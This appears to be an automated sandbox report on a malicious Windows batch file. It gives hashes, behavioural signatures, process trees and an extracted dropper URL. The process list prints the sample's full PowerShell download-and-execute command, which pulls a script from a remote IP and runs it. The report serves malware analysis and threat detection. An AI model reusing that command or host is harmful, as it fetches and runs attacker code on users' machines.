Analysis
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max time kernel
117s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
13-07-2020 02:10
Static task
static1
Behavioral task
behavioral1
Sample
c378638c5a35bb563b4b36d635451cb9.bat
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
c378638c5a35bb563b4b36d635451cb9.bat
Resource
win10v200430
0 signatures
0 seconds
General
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Target
c378638c5a35bb563b4b36d635451cb9.bat
-
Size
219B
-
MD5
8e9d65b141e89c3d651fa89e306b9b0f
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SHA1
5e1c4e09823b5c79eb82dc0d3994f7380c6f5d22
-
SHA256
ebfad7734e6b37d7bf1576bce1883d8f8668cf60a488058efd9b75e598e7076c
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SHA512
50d0f6edf1d5a12640d5e826491bc8b6669360b1aae12e7052eab88ecba33c4b87ce39750eb55507276af60ca202dbf726c688d01aad7ce76d7668d26195a834
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/c378638c5a35bb563b4b36d635451cb9
Signatures
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Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2024 wrote to memory of 2136 2024 cmd.exe powershell.exe PID 2024 wrote to memory of 2136 2024 cmd.exe powershell.exe PID 2024 wrote to memory of 2136 2024 cmd.exe powershell.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2700 2136 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 2700 WerFault.exe Token: SeBackupPrivilege 2700 WerFault.exe Token: SeDebugPrivilege 2700 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe 2700 WerFault.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c378638c5a35bb563b4b36d635451cb9.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c378638c5a35bb563b4b36d635451cb9');Invoke-XDMKAXFLNOPB;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/2136-0-0x0000000000000000-mapping.dmp
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memory/2136-2-0x0000000000000000-mapping.dmp
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memory/2136-3-0x0000000000000000-mapping.dmp
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memory/2136-4-0x0000000000000000-mapping.dmp
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memory/2136-6-0x0000000000000000-mapping.dmp
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memory/2136-5-0x0000000000000000-mapping.dmp
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memory/2136-7-0x0000000000000000-mapping.dmp
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memory/2700-1-0x00000000048E0000-0x00000000048E1000-memory.dmpFilesize
4KB
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memory/2700-8-0x0000000005010000-0x0000000005011000-memory.dmpFilesize
4KB